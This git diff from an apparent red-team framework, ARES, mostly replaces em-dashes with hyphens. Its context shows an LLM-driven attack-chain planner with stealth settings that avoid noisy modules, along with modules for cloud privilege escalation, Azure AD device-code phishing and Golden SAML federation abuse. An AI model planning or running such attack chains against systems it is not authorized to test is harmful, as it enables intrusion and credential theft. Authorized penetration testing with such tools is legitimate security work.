+1. Output ONLY valid JSON - no markdown, no explanation outside JSON
2. Only recommend modules that exist in available_modules list
3. Respect noise_profile: stealth=avoid HIGH_NOISE modules, aggressive=use all
4. Order stages logically: recon → credential_access → lateral → persistence
@@ -532,7 +532,7 @@ Flag any SOFT RULE violations in the warnings field.
Output JSON schema:
{
- "reasoning": "string — why this plan, what evidence supports it",
+ "reasoning": "string - why this plan, what evidence supports it",
"confidence": 0.0-1.0,
"stages": [
{
@@ -591,14 +591,14 @@ def _build_user_prompt(context: dict, completed_rounds: list | None = None) -> s
# BUG 9 FIX: render target_states so LLM sees per-host failure history
if context.get("target_states"):
parts += [
- "Per-host state (CRITICAL — do NOT repeat techniques that FAILED on the same host):",
+ "Per-host state (CRITICAL - do NOT repeat techniques that FAILED on the same host):",
json.dumps(context["target_states"], indent=2),
"",
]
# Surface rejected plan reason when re-planning
if context.get("rejected_plan_reason"):
parts += [
- f"WARNING — PREVIOUS PLAN REJECTED: {context['rejected_plan_reason']}",
+ f"WARNING - PREVIOUS PLAN REJECTED: {context['rejected_plan_reason']}",
"",
]
parts += ["Generate the optimal next attack plan as JSON."]
@@ -637,12 +637,12 @@ def _build_system_prompt_with_constitution(
)
class AIAutonomousPlannerModule(BaseModule):
"""
- ai.autonomous_planner — LLM-powered attack chain orchestration.
+ ai.autonomous_planner - LLM-powered attack chain orchestration.
Aggregates campaign context and uses an LLM to generate the optimal
next attack steps. Outputs a structured ExecutionPlan for operator review.
- OPSEC: LOCAL (LLM API call — no direct target network contact from this module)
+ OPSEC: LOCAL (LLM API call - no direct target network contact from this module)
MITRE: T1591
REQUIRES: active_campaign
OUTPUTS: execution_plan, ai_reasoning, confidence_score, warnings
@@ -802,7 +802,7 @@ class AIAutonomousPlannerModule(BaseModule):
**kwargs: Any,
) -> tuple[list, dict]:
"""
- Note: before_request() intentionally not called — LOCAL module.
+ Note: before_request() intentionally not called - LOCAL module.
LLM API call has no scope relevance (calls Anthropic/OpenAI, not target).
"""
audit("ai_planner_invoked", actor="operator",
@@ -917,7 +917,7 @@ class AIAutonomousPlannerModule(BaseModule):
# Generate findings
self._generate_findings(ai_plan, goal, context)
- # Adversarial simulation — what would defender see?
+ # Adversarial simulation - what would defender see?
adversarial_result = {}
if kwargs.get("adversarial_sim", False) and ai_plan.stages:
try:
@@ -975,7 +975,7 @@ class AIAutonomousPlannerModule(BaseModule):
reasoning= f"LLM response parse failed: {str(exc)[:100]}. Raw: {content[:200]}",
stages= [],
confidence= 0.0,
- warnings= ["LLM response was not valid JSON — manual planning required"],
+ warnings= ["LLM response was not valid JSON - manual planning required"],
llm_model= model,
tokens_used=tokens,
)
@@ -993,7 +993,7 @@ class AIAutonomousPlannerModule(BaseModule):
mitre_technique="T1591",
mitre_tactic="Reconnaissance",
evidence={"goal": goal, "warnings": plan.warnings},
- remediation="Add more recon data — run ad.enum_users, recon.fingerprint first.",
+ remediation="Add more recon data - run ad.enum_users, recon.fingerprint first.",
host="ai_planner",
confidence=0.50,
)
@@ -1004,7 +1004,7 @@ class AIAutonomousPlannerModule(BaseModule):
all_modules = [m for s in plan.stages for m in s.get("modules", [])]
self.finding(
- title=f"AI Attack Plan Generated — {len(plan.stages)} Stages, "
+ title=f"AI Attack Plan Generated - {len(plan.stages)} Stages, "
f"{len(all_modules)} Modules, {plan.confidence:.0%} Confidence",
description=(
f"Goal: {goal}. "
diff --git a/ares/modules/ai/plan_validator.py b/ares/modules/ai/plan_validator.py
index f232980..aba56e4 100644
--- a/ares/modules/ai/plan_validator.py
+++ b/ares/modules/ai/plan_validator.py
@@ -1,5 +1,5 @@
"""
-ares/modules/ai/plan_validator.py — LLM Plan Validator
+ares/modules/ai/plan_validator.py - LLM Plan Validator
Validates AI-generated attack plans before execution:
1. All module IDs must exist in registry
@@ -28,7 +28,7 @@ _MIN_CONFIDENCE = 0.40
class PlanValidator:
"""
Validates an AIPlan before it reaches engine.run_module().
- Returns list of error strings — empty = plan is valid.
+ Returns list of error strings - empty = plan is valid.
"""
def validate(
@@ -41,12 +41,12 @@ class PlanValidator:
if plan.confidence < _MIN_CONFIDENCE:
errors.append(
- f"Confidence {plan.confidence:.0%} below minimum {_MIN_CONFIDENCE:.0%} — "
+ f"Confidence {plan.confidence:.0%} below minimum {_MIN_CONFIDENCE:.0%} - "
"plan too uncertain to execute safely."
)
if not plan.stages:
- errors.append("Plan has no stages — LLM returned empty plan.")
+ errors.append("Plan has no stages - LLM returned empty plan.")
return errors # Nothing else to check
for stage in plan.stages:
@@ -66,17 +66,17 @@ class PlanValidator:
else None)
if not cls:
errors.append(
- f"Unknown module: '{mid}' (stage: {stage_name}) — "
+ f"Unknown module: '{mid}' (stage: {stage_name}) - "
"not in registry. LLM hallucinated module ID."
)
continue
else:
- # No registry available — check technique library as fallback
+ # No registry available - check technique library as fallback
try:
from ares.technique.library import _MODULE_TECHNIQUE_MAP
if mid not in _MODULE_TECHNIQUE_MAP:
errors.append(
- f"Unknown module: '{mid}' — not in technique library."
+ f"Unknown module: '{mid}' - not in technique library."
)
continue
except ImportError:
@@ -120,7 +120,7 @@ class PlanValidator:
if plan.warnings is None:
plan.warnings = []
plan.warnings.append(
- f"{mid} is HIGH_NOISE — will generate significant IOCs. "
+ f"{mid} is HIGH_NOISE - will generate significant IOCs. "
"Verify SOC shift timing before executing."
)
except Exception:
diff --git a/ares/modules/base.py b/ares/modules/base.py
index 4cb02c9..ebcb139 100644
--- a/ares/modules/base.py
+++ b/ares/modules/base.py
@@ -9,18 +9,18 @@ Metadata system enables:
- engine capability querying (list all modules that output 'spn_list')
Required class attributes:
- MODULE_ID str — unique dotted ID, e.g. "ad.kerberoast"
- MODULE_NAME str — human name
- MODULE_CATEGORY str — "ad" | "linux" | "cloud" | "reporting"
- MODULE_DESCRIPTION str — one-liner for CLI list
+ MODULE_ID str - unique dotted ID, e.g. "ad.kerberoast"
+ MODULE_NAME str - human name
+ MODULE_CATEGORY str - "ad" | "linux" | "cloud" | "reporting"
+ MODULE_DESCRIPTION str - one-liner for CLI list
Optional class attributes (defaults shown):
- OPSEC_LEVEL OpsecLevel — SILENT | LOW | MEDIUM | HIGH_NOISE
- REQUIRES list[str] — capabilities/outputs this module needs as input
- OUTPUTS list[str] — what this module produces (feeds downstream modules)
- MITRE_TECHNIQUES list[str] — ATT&CK technique IDs
+ OPSEC_LEVEL OpsecLevel - SILENT | LOW | MEDIUM | HIGH_NOISE
+ REQUIRES list[str] - capabilities/outputs this module needs as input
+ OUTPUTS list[str] - what this module produces (feeds downstream modules)
+ MITRE_TECHNIQUES list[str] - ATT&CK technique IDs
MODULE_AUTHOR str
- MIN_NOISE_PROFILE str | None — block execution below this profile
+ MIN_NOISE_PROFILE str | None - block execution below this profile
"""
from __future__ import annotations
@@ -139,10 +139,10 @@ def normalize_module_metadata(
class OpsecLevel(str, Enum):
SILENT = "silent" # passive/local only, zero network traffic
- LOCAL = "local" # alias for SILENT — cracking, local-only ops
+ LOCAL = "local" # alias for SILENT - cracking, local-only ops
LOW = "low" # read-only LDAP, basic API calls
MEDIUM = "medium" # active queries, Kerberos TGS
- HIGH_NOISE = "high_noise" # DCSync, brute force — blocked in stealth
+ HIGH_NOISE = "high_noise" # DCSync, brute force - blocked in stealth
# ── Feasibility Report ────────────────────────────────────────────────────────
@@ -184,7 +184,7 @@ class BaseModule(abc.ABC, Generic[P, R]):
async def run(self, **kwargs) -> tuple[list[Finding], dict[str, Any]]:
...
- Formal SDK contract (v0.9.0+) — see validate(), before_request(), finding().
+ Formal SDK contract (v0.9.0+) - see validate(), before_request(), finding().
"""
PARAMS_MODEL: Any = None
@@ -225,12 +225,12 @@ class BaseModule(abc.ABC, Generic[P, R]):
async def validate(self, ctx: "Any") -> None:
"""
Validate the execution context BEFORE running the module.
- Called automatically by the engine — do not call manually.
+ Called automatically by the engine - do not call manually.
Raise ModuleValidationError if context is insufficient.
Default: checks target is set and all REQUIRES entries are available.
Override to add module-specific validation (format checks, etc.).
- Do NOT make network calls here — validate() must complete in < 10s.
+ Do NOT make network calls here - validate() must complete in < 10s.
Example override:
async def validate(self, ctx):
@@ -245,14 +245,14 @@ class BaseModule(abc.ABC, Generic[P, R]):
from ares.core.errors import ModuleValidationError
if not isinstance(ctx, ExecutionContext):
- return # legacy context — skip validation
+ return # legacy context - skip validation
if getattr(self, "PARAMS_MODEL", None) is not None:
from ares.sdk.params import validate_params
ctx.params = validate_params(self.PARAMS_MODEL, ctx.params, module_id=self.MODULE_ID)
- # Categories that use API credentials instead of a target IP — skip target check
+ # Categories that use API credentials instead of a target IP - skip target check
_NO_TARGET_CATEGORIES = {"cloud", "reporting", "recon"}
if getattr(self.__class__, "MODULE_CATEGORY", "") in _NO_TARGET_CATEGORIES:
return
@@ -260,13 +260,13 @@ class BaseModule(abc.ABC, Generic[P, R]):
# Check target is set
if not ctx.target:
raise ModuleValidationError(
- f"Module {self.MODULE_ID!r} requires 'target' — "
+ f"Module {self.MODULE_ID!r} requires 'target' - "
"set via params['target'], params['dc'], or params['host']",
module_id=self.MODULE_ID,
field="target",
)
- # Check REQUIRES list — each item must be present in params or context
+ # Check REQUIRES list - each item must be present in params or context
requires = getattr(self.__class__, "REQUIRES", [])
if requires:
raw_params = ctx.params.model_dump() if hasattr(ctx.params, "model_dump") else (ctx.params or {})
@@ -323,7 +323,7 @@ class BaseModule(abc.ABC, Generic[P, R]):
New modules should override execute() directly.
Returns:
- ModuleResult — structured result consumed by engine
+ ModuleResult - structured result consumed by engine
"""
raw_params = getattr(ctx, "params", {})
if hasattr(raw_params, "model_dump"):
@@ -428,16 +428,16 @@ class BaseModule(abc.ABC, Generic[P, R]):
Execute the module.
Returns:
- findings — list of Finding objects (unvalidated)
- raw — raw output dict (evidence, debug info)
+ findings - list of Finding objects (unvalidated)
+ raw - raw output dict (evidence, debug info)
Subclasses should override this method. The default implementation
raises NotImplementedError to catch unimplemented modules at runtime.
"""
- # Abstract method — enforced by abc.ABC inheritance on BaseModule.
+ # Abstract method - enforced by abc.ABC inheritance on BaseModule.
# Subclasses must override this. Using raise rather than @abstractmethod
# here preserves Mypy compatibility with the dynamic MODULE_ID attribute.
- raise NotImplementedError( # abstract — subclasses must implement run()
+ raise NotImplementedError( # abstract - subclasses must implement run()
f"Module '{self.MODULE_ID}' must implement run()"
)
@@ -519,7 +519,7 @@ class BaseModule(abc.ABC, Generic[P, R]):
if any(s in msg for s in ("rate limit", "too many requests", "429", "throttl")):
return RateLimited(f"{self.MODULE_ID} rate limited: {exc}")
- # Fallback — general network error (engine will retry)
+ # Fallback - general network error (engine will retry)
return NetworkError(f"{self.MODULE_ID} network error on {target}: {exc}")
# ── Finding helper ─────────────────────────────────────────────────────
@@ -628,7 +628,7 @@ class BaseModule(abc.ABC, Generic[P, R]):
def _extract_ad_params(self, ctx: "Any") -> dict:
"""
Extract common AD module params from ExecutionContext.
- Pulls dc, domain, username, password — trying vault first.
+ Pulls dc, domain, username, password - trying vault first.
Safe to call even when ctx is a bare namespace (test mode).
"""
cred = getattr(ctx, "best_credential", lambda: None)()
@@ -675,7 +675,7 @@ class ModuleResult:
error: str = ""
module_id: str = ""
execution_id: str = ""
- # Outcome quality — 0.0=failed/empty, 0.5=partial, 1.0=full success
+ # Outcome quality - 0.0=failed/empty, 0.5=partial, 1.0=full success
# Enables accurate learning in OutcomeKnowledgeBase (not just status string)
outcome_quality: float = -1.0 # -1.0 = not set by module (auto-computed)
outcome_evidence: str = "" # e.g. "3 TGS tickets from corp.local"
diff --git a/ares/modules/cloud/__init__.py b/ares/modules/cloud/__init__.py
index 4543f5f..18e8f76 100644
--- a/ares/modules/cloud/__init__.py
+++ b/ares/modules/cloud/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.cloud
+ARES - modules.cloud
Cloud attack modules (AWS, Azure, GCP)
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/cloud/aws.py b/ares/modules/cloud/aws.py
index 6fe3855..6af76da 100644
--- a/ares/modules/cloud/aws.py
+++ b/ares/modules/cloud/aws.py
@@ -1,4 +1,4 @@
-"""AWS Recon — boto3 implementation. IAM, S3, Security Groups, IMDS. MITRE: T1526, T1530, T1552.005, T1580"""
+"""AWS Recon - boto3 implementation. IAM, S3, Security Groups, IMDS. MITRE: T1526, T1530, T1552.005, T1580"""
from __future__ import annotations
import asyncio
from functools import partial
@@ -32,7 +32,7 @@ SENSITIVE_PORTS = {22:"SSH",23:"Telnet",3389:"RDP",1433:"MSSQL",3306:"MySQL",
)
class AWSEnumModule(BaseModule):
"""
- cloud.aws — IAM enum, S3 misconfig, IMDS check, Security Group audit
+ cloud.aws - IAM enum, S3 misconfig, IMDS check, Security Group audit
OPSEC: LOW
MITRE: "T1526","T1530","T1552.005","T1580"
@@ -59,12 +59,12 @@ class AWSEnumModule(BaseModule):
pdict = dict(params)
else:
pdict = {}
- # Cloud modules need AWS credentials — check at least one method available
+ # Cloud modules need AWS credentials - check at least one method available
has_key = bool(pdict.get("access_key") or pdict.get("profile") or pdict.get("aws_profile"))
has_env = bool(__import__("os").environ.get("AWS_ACCESS_KEY_ID"))
if not has_key and not has_env:
raise ModuleValidationError(
- "cloud.aws requires AWS credentials — set access_key/aws_profile params "
+ "cloud.aws requires AWS credentials - set access_key/aws_profile params "
"or AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY environment variables.",
module_id=self.MODULE_ID, field="access_key",
)
@@ -187,7 +187,7 @@ class AWSEnumModule(BaseModule):
@trace_module("cloud.aws")
async def run(self, profile=None, access_key=None, secret_key=None,
session_token=None, region="us-east-1", **kwargs):
- # Note: before_request() intentionally not called — cloud modules use
+ # Note: before_request() intentionally not called - cloud modules use
# API credentials, not host IPs. Scope check (CIDR) does not apply to
# cloud API endpoints. Rate limiting and jitter are handled at the API call level.
logger.info("aws_recon_start", region=region)
@@ -337,11 +337,11 @@ class AWSEnumModule(BaseModule):
severity=Severity.HIGH,mitre_technique="T1046",mitre_tactic="Discovery",
evidence={"rules":open_sgs[:10]},remediation="Restrict ingress. Use VPN or SSM Session Manager.")
if imds.get("imdsv1_available"):
- self.finding(title="IMDSv1 Available — SSRF → Credential Theft",
+ self.finding(title="IMDSv1 Available - SSRF → Credential Theft",
description="EC2 IMDSv1 accessible without token. SSRF can extract IAM credentials.",
severity=Severity.HIGH,mitre_technique="T1552.005",mitre_tactic="Credential Access",
evidence={"roles":imds.get("credential_roles",[])},
remediation="Require IMDSv2: aws ec2 modify-instance-metadata-options --http-tokens required.")
-# Backward-compat alias — was AWSModule before v3.0.1
+# Backward-compat alias - was AWSModule before v3.0.1
AWSModule = AWSEnumModule # noqa
diff --git a/ares/modules/cloud/aws_privesc.py b/ares/modules/cloud/aws_privesc.py
index 98f98a2..5027240 100644
--- a/ares/modules/cloud/aws_privesc.py
+++ b/ares/modules/cloud/aws_privesc.py
@@ -43,7 +43,7 @@ _PRIVESC_ACTIONS: list[tuple[str, str, str]] = [
("iam:PutUserPolicy", "Create inline admin policy on self", "T1548"),
("iam:AddUserToGroup", "Add self to privileged group", "T1078"),
("iam:PassRole", "Pass privileged role to compute service", "T1548"),
- ("sts:AssumeRole", "Assume another role — check trust policy", "T1550.001"),
+ ("sts:AssumeRole", "Assume another role - check trust policy", "T1550.001"),
("lambda:CreateFunction", "Create Lambda with privileged execution role", "T1648"),
("ec2:RunInstances", "Launch EC2 with privileged instance profile", "T1578.002"),
("cloudformation:CreateStack", "Deploy stack with privileged service role", "T1578"),
@@ -61,7 +61,7 @@ _PRIVESC_ACTIONS: list[tuple[str, str, str]] = [
)
class AWSPrivescModule(BaseModule):
"""
- cloud.aws_privesc — Enumerate current IAM permissions and identify privilege escalation paths — PassRole abuse, Assu
+ cloud.aws_privesc - Enumerate current IAM permissions and identify privilege escalation paths - PassRole abuse, Assu
OPSEC: LOW
MITRE: "T1078.004", "T1548", "T1098"
@@ -71,7 +71,7 @@ class AWSPrivescModule(BaseModule):
MODULE_NAME = "AWS IAM Privilege Escalation"
MODULE_CATEGORY = "cloud"
MODULE_DESCRIPTION = (
- "Enumerate current IAM permissions and identify privilege escalation paths — "
+ "Enumerate current IAM permissions and identify privilege escalation paths - "
"PassRole abuse, AssumeRole, policy manipulation techniques"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -101,7 +101,7 @@ class AWSPrivescModule(BaseModule):
__import__("os").environ.get("AWS_ACCESS_KEY_ID"))
if not has_key:
raise ModuleValidationError(
- "cloud.aws_privesc requires AWS credentials — set access_key/aws_access_key param "
+ "cloud.aws_privesc requires AWS credentials - set access_key/aws_access_key param "
"or AWS_ACCESS_KEY_ID environment variable.",
module_id=self.MODULE_ID, field="access_key",
)
@@ -224,7 +224,7 @@ class AWSPrivescModule(BaseModule):
@trace_module("cloud.aws_privesc")
async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
- # Note: before_request() intentionally not called — cloud modules use
+ # Note: before_request() intentionally not called - cloud modules use
# API credentials, not host IPs. Scope check (CIDR) does not apply to
# cloud API endpoints. Rate limiting and jitter are handled at the API call level.
access_key = kwargs.get("aws_access_key") or kwargs.get("access_key", "")
@@ -239,7 +239,7 @@ class AWSPrivescModule(BaseModule):
try:
import boto3 # type: ignore[import]
except ImportError:
- return [], {"error": "boto3 not installed — pip install ares-redteam[cloud]"}
+ return [], {"error": "boto3 not installed - pip install ares-redteam[cloud]"}
logger.info("aws_privesc_check_start")
await self.noise.rate_limiter.acquire("cloud_api")
diff --git a/ares/modules/cloud/azure.py b/ares/modules/cloud/azure.py
index b9c3664..8c5d0f5 100644
--- a/ares/modules/cloud/azure.py
+++ b/ares/modules/cloud/azure.py
@@ -1,10 +1,10 @@
"""
-Azure Recon & Attack Module — Production Implementation
+Azure Recon & Attack Module - Production Implementation
AAD users, storage misconfig, RBAC over-permission, NSG rules.
Authentication (automatic priority order):
- 1. ClientSecretCredential — if tenant_id + client_id + client_secret supplied
- 2. DefaultAzureCredential — env vars / managed identity / Azure CLI / VS Code
+ 1. ClientSecretCredential - if tenant_id + client_id + client_secret supplied
+ 2. DefaultAzureCredential - env vars / managed identity / Azure CLI / VS Code
Required optional extras:
pip install ares-redteam[cloud]
@@ -56,7 +56,7 @@ def _get_credential(tenant_id=None, client_id=None, client_secret=None):
)
class AzureModule(BaseModule):
"""
- cloud.azure — AAD enum, storage misconfig, RBAC audit, NSG rules
+ cloud.azure - AAD enum, storage misconfig, RBAC audit, NSG rules
OPSEC: LOW
MITRE: "T1526", "T1530", "T1580", "T1078.004"
@@ -92,7 +92,7 @@ class AzureModule(BaseModule):
__import__("os").environ.get("AZURE_CLIENT_ID"))
if not has_cred:
raise ModuleValidationError(
- "cloud.azure requires Azure credentials — set subscription_id or "
+ "cloud.azure requires Azure credentials - set subscription_id or "
"AZURE_CLIENT_ID/AZURE_CLIENT_SECRET/AZURE_TENANT_ID env vars.",
module_id=self.MODULE_ID, field="subscription_id",
)
@@ -208,7 +208,7 @@ class AzureModule(BaseModule):
async def run(self, subscription_id: str, tenant_id: str | None = None,
client_id: str | None = None, client_secret: str | None = None,
**kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
- # Note: before_request() intentionally not called — cloud modules use
+ # Note: before_request() intentionally not called - cloud modules use
# API credentials, not host IPs. Scope check (CIDR) does not apply to
# cloud API endpoints. Rate limiting and jitter are handled at the API call level.
logger.info("azure_recon_start", subscription_id=subscription_id[:8] + "...")
diff --git a/ares/modules/cloud/azure_ad.py b/ares/modules/cloud/azure_ad.py
index b3ffd7e..1016732 100644
--- a/ares/modules/cloud/azure_ad.py
+++ b/ares/modules/cloud/azure_ad.py
@@ -1,19 +1,19 @@
"""
-Azure AD / Entra ID Identity Attacks — cloud.azure_ad
-MITRE: T1528 — Steal Application Access Token
- T1606 — Forge Web Credentials
+Azure AD / Entra ID Identity Attacks - cloud.azure_ad
+MITRE: T1528 - Steal Application Access Token
+ T1606 - Forge Web Credentials
Azure AD identity attack techniques not covered by cloud.azure (resource enum):
- 1. Device code flow phishing — request device code, poll for user auth
- 2. Service principal credential exposure — SP secrets visible to overprivileged apps
- 3. Guest account enumeration — external identities that may have excessive access
- 4. Seamless SSO silver ticket — Kerberos ticket for AZUREADSSOACC$ machine account
+ 1. Device code flow phishing - request device code, poll for user auth
+ 2. Service principal credential exposure - SP secrets visible to overprivileged apps
+ 3. Guest account enumeration - external identities that may have excessive access
+ 4. Seamless SSO silver ticket - Kerberos ticket for AZUREADSSOACC$ machine account
5. PRT (Primary Refresh Token) detection paths
cloud.azure (existing) handles resource enumeration.
cloud.azure_ad handles identity-specific attacks.
-OPSEC: LOW to MEDIUM — token-based auth, not credential spray.
+OPSEC: LOW to MEDIUM - token-based auth, not credential spray.
Device code flow: legitimate OAuth2 flow, not blocked by CA policies.
Does not trigger sign-in risk if using valid PRT.
@@ -65,7 +65,7 @@ _ENUM_SCOPES = [
)
class AzureADModule(BaseModule):
"""
- cloud.azure_ad — Azure AD / Entra ID identity attack techniques: device code flow, service principal exposure.
+ cloud.azure_ad - Azure AD / Entra ID identity attack techniques: device code flow, service principal exposure.
OPSEC: LOW
MITRE: "T1528", "T1606"
@@ -102,7 +102,7 @@ class AzureADModule(BaseModule):
tenant_id = pdict.get("tenant_id", "")
if not tenant_id:
raise ModuleValidationError(
- "cloud.azure_ad requires 'tenant_id' — Azure AD tenant ID (UUID). "
+ "cloud.azure_ad requires 'tenant_id' - Azure AD tenant ID (UUID). "
"Find via: az account show --query tenantId",
module_id=self.MODULE_ID, field="tenant_id",
)
@@ -228,7 +228,7 @@ class AzureADModule(BaseModule):
@trace_module("cloud.azure_ad")
async def run(self, tenant_id: str, client_id: str = "", client_secret: str = "",
access_token: str = "", technique: str = "enumerate", **kwargs: Any):
- # Note: before_request() intentionally not called — cloud modules use
+ # Note: before_request() intentionally not called - cloud modules use
# API credentials, not host IPs. Scope check (CIDR) does not apply to
# cloud API endpoints. Rate limiting and jitter are handled at the API call level.
logger.info("azure_ad_start", tenant=tenant_id[:8] + "...", technique=technique)
@@ -402,7 +402,7 @@ class AzureADModule(BaseModule):
"message": flow.get("message"),
}
except ImportError:
- return {"error": "msal not installed — pip install ares-redteam[cloud]"}
+ return {"error": "msal not installed - pip install ares-redteam[cloud]"}
except Exception as exc:
return {"error": str(exc)[:150]}
diff --git a/ares/modules/cloud/gcp.py b/ares/modules/cloud/gcp.py
index d4a4cb2..e8be12b 100644
--- a/ares/modules/cloud/gcp.py
+++ b/ares/modules/cloud/gcp.py
@@ -1,10 +1,10 @@
"""
-GCP Recon & Attack Module — Production Implementation
+GCP Recon & Attack Module - Production Implementation
IAM bindings, GCS buckets, service account keys, metadata server.
Authentication (automatic priority order):
- 1. Service account key file — if credentials_file supplied
- 2. Application Default Credentials (ADC) — env GOOGLE_APPLICATION_CREDENTIALS,
+ 1. Service account key file - if credentials_file supplied
+ 2. Application Default Credentials (ADC) - env GOOGLE_APPLICATION_CREDENTIALS,
gcloud auth, Workload Identity, or Compute Engine metadata server
Required API permissions (read-only):
@@ -47,7 +47,7 @@ _PUBLIC_MEMBERS = frozenset({"allUsers", "allAuthenticatedUsers"})
def _get_gcp_credentials(credentials_file: str | None = None) -> "Any":
- """Return Google credentials — file or ADC."""
+ """Return Google credentials - file or ADC."""
if credentials_file:
from google.oauth2 import service_account # type: ignore[import]
return service_account.Credentials.from_service_account_file(
@@ -71,7 +71,7 @@ def _get_gcp_credentials(credentials_file: str | None = None) -> "Any":
)
class GCPModule(BaseModule):
"""
- cloud.gcp — IAM bindings, GCS misconfig, SA key audit, metadata server
+ cloud.gcp - IAM bindings, GCS misconfig, SA key audit, metadata server
OPSEC: LOW
MITRE: "T1526", "T1530", "T1552.005", "T1580"
@@ -107,7 +107,7 @@ class GCPModule(BaseModule):
__import__("os").environ.get("GOOGLE_APPLICATION_CREDENTIALS"))
if not has_cred:
raise ModuleValidationError(
- "cloud.gcp requires GCP credentials — set project_id param or "
+ "cloud.gcp requires GCP credentials - set project_id param or "
"GOOGLE_APPLICATION_CREDENTIALS environment variable.",
module_id=self.MODULE_ID, field="project_id",
)
@@ -214,7 +214,7 @@ class GCPModule(BaseModule):
@trace_module("cloud.gcp")
async def run(self, project_id: str, credentials_file: str | None = None,
**kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
- # Note: before_request() intentionally not called — cloud modules use
+ # Note: before_request() intentionally not called - cloud modules use
# API credentials, not host IPs. Scope check (CIDR) does not apply to
# cloud API endpoints. Rate limiting and jitter are handled at the API call level.
logger.info("gcp_recon_start", project_id=project_id)
@@ -254,7 +254,7 @@ class GCPModule(BaseModule):
def _check_iam_bindings(self, credentials: Any, project_id: str) -> dict[str, Any]:
"""
Get project IAM policy via Google Cloud Resource Manager SDK.
- Fixed: was using requests.post directly — replaced with SDK that handles
+ Fixed: was using requests.post directly - replaced with SDK that handles
auth refresh automatically and is the supported stable API.
"""
try:
@@ -475,7 +475,7 @@ class GCPModule(BaseModule):
old_keys: list[dict[str, Any]] = []
many_keys: list[dict[str, Any]] = [] # SAs with >2 active keys
- # List ALL service accounts — paginate until nextPageToken is absent
+ # List ALL service accounts - paginate until nextPageToken is absent
service_accounts: list[dict] = []
page_token: str | None = None
while True:
@@ -501,7 +501,7 @@ class GCPModule(BaseModule):
sa_email = sa.get("email", "")
sa_name = sa.get("name", "")
- # List keys — only USER_MANAGED type (system-managed keys auto-rotate)
+ # List keys - only USER_MANAGED type (system-managed keys auto-rotate)
try:
keys_resp = session.get(
f"https://iam.googleapis.com/v1/{sa_name}/keys",
@@ -616,7 +616,7 @@ class GCPModule(BaseModule):
sa_list = []
self.finding(
- title="GCE Metadata Server Accessible — SSRF → Credential Theft",
+ title="GCE Metadata Server Accessible - SSRF → Credential Theft",
description=(
"The GCE metadata server (169.254.169.254) is reachable from this context. "
"SSRF vulnerabilities in any application running here can steal service "
@@ -641,7 +641,7 @@ class GCPModule(BaseModule):
)
return {"accessible": True, "service_accounts": sa_list}
except httpx.ConnectError:
- # Expected — not running on GCE or metadata blocked
+ # Expected - not running on GCE or metadata blocked
pass
except Exception as exc:
logger.debug("gcp_metadata_check_failed", error=str(exc)[:80])
diff --git a/ares/modules/cloud/identity_federation.py b/ares/modules/cloud/identity_federation.py
index 4efd83b..646495e 100644
--- a/ares/modules/cloud/identity_federation.py
+++ b/ares/modules/cloud/identity_federation.py
@@ -1,11 +1,11 @@
"""
-cloud.identity_federation_abuse — Cross-Cloud Identity Federation Abuse
+cloud.identity_federation_abuse - Cross-Cloud Identity Federation Abuse
Enumerates and abuses federated identity trust relationships between
cloud providers and on-premises Active Directory.
Attack scenarios:
- 1. Golden SAML — forge SAML assertion after AD krbtgt/ADFS private key compromise
+ 1. Golden SAML - forge SAML assertion after AD krbtgt/ADFS private key compromise
2. Azure AD → AWS via federated identity (SAML assertion abuse)
3. Google Workspace → GCP service accounts (OIDC token forging)
4. Cross-tenant OAuth2 token abuse (Business Email Compromise chain)
@@ -15,12 +15,12 @@ Requires: AD or cloud credentials obtained from prior compromise.
Best used after: ad.dcsync, cloud.azure, cloud.aws
MITRE:
- T1606.002 — SAML Tokens (Golden SAML)
- T1528 — Steal Application Access Token
- T1550.001 — Use Alternate Authentication Material: Application Access Token
- T1484.002 — Domain Trust Modification: Trust Modification
+ T1606.002 - SAML Tokens (Golden SAML)
+ T1528 - Steal Application Access Token
+ T1550.001 - Use Alternate Authentication Material: Application Access Token
+ T1484.002 - Domain Trust Modification: Trust Modification
-OPSEC: MEDIUM — queries Azure/AWS APIs (low noise) but SAML forgery is high risk
+OPSEC: MEDIUM - queries Azure/AWS APIs (low noise) but SAML forgery is high risk
"""
from __future__ import annotations
@@ -60,7 +60,7 @@ logger = get_logger("ares.modules.cloud.identity_federation")
)
class CloudIdentityFederationModule(BaseModule):
"""
- cloud.identity_federation_abuse — Cross-cloud identity federation enumeration and abuse.
+ cloud.identity_federation_abuse - Cross-cloud identity federation enumeration and abuse.
OPSEC: MEDIUM
MITRE: T1606.002, T1528, T1550.001, T1484.002
@@ -261,7 +261,7 @@ class CloudIdentityFederationModule(BaseModule):
**kwargs: Any,
) -> tuple[list[Finding], dict[str, Any]]:
"""
- Note: before_request() not called — cloud modules use API creds, not host IPs.
+ Note: before_request() not called - cloud modules use API creds, not host IPs.
Scope/jitter checks do not apply to cloud API endpoints.
"""
audit("cloud_federation_abuse", actor="operator",
@@ -439,7 +439,7 @@ class CloudIdentityFederationModule(BaseModule):
result["graph_enum_error"] = str(e)[:150]
except ImportError:
- result["error"] = "httpx not installed — pip install httpx"
+ result["error"] = "httpx not installed - pip install httpx"
except Exception as e:
result["error"] = str(e)[:200]
@@ -496,7 +496,7 @@ class CloudIdentityFederationModule(BaseModule):
result["roles_error"] = str(e)[:100]
except ImportError:
- result["error"] = "boto3 not installed — pip install ares-redteam[cloud]"
+ result["error"] = "boto3 not installed - pip install ares-redteam[cloud]"
except Exception as e:
result["error"] = str(e)[:200]
@@ -862,11 +862,11 @@ class CloudIdentityFederationModule(BaseModule):
"provider": _DANGEROUS_ISSUERS[issuer],
"issuer": issuer,
"unrestricted": is_unrestricted,
- "condition": cond or "(none — unrestricted)",
+ "condition": cond or "(none - unrestricted)",
"attack": (
f"{_DANGEROUS_ISSUERS[issuer]} can impersonate "
f"service accounts in project {project_id}"
- + (" — NO repo/org filter!" if is_unrestricted else "")
+ + (" - NO repo/org filter!" if is_unrestricted else "")
),
"risk": risk_label,
})
@@ -998,13 +998,13 @@ class CloudIdentityFederationModule(BaseModule):
if adfs.get("federation_metadata_found"):
rps = adfs.get("relying_parties", [])
self.finding(
- title=f"ADFS Federation Metadata Found — {len(rps)} Relying Parties",
